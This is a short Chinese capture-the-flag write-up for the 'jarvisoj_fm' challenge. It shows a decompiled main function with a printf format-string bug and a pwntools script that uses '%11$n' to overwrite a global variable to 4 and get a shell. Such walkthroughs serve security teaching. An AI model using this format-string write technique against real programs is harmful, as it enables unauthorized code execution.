jarvisoj_fm

题目链接:jarvisoj_fm

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);                                  // 格式化字符串漏洞
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

解题思路:

  1. 利用格式化字符串漏洞,修改变量 x 的值为 4,即可 GetShell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .data:0804A02C x dd 3
    # 经调试,偏移为 11
    s(p32(0x0804A02C) + b'%11$n')
    irt()

pwn()
posted @ 2025-09-06 13:10  imtaieee  阅读(19)  评论(0)    收藏  举报